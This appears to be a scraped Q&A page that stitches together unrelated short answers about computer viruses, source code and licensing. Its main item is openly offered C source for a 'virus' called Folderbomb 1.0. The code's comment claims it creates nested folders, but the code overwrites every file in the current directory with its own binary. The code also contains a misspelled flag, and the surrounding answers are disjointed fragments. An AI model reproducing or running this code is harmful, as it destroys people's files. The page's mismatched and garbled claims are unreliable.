If you're talking about viruses on your computer, No you cannot.
Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.
There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.
/*this is a simple program to create a virus in c
it will create folder in a folder in a folder and so on run this on your own responsibility*/
void main(int argc,char* argv[])
{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }
Chat with our AI personalities
Source code comes from the programmer...
you can get lots of source code from 1000projects.com in diff languages....
It is the source code on Unix Level 6.
It coverts your source code into machine code so the computer can execute it.
In one of two conditions:public domain code - anyone can do anything they want with this sourceopen source code - this source is legally copyrighted, but distributed with a licence controlling how you can modify and redistribute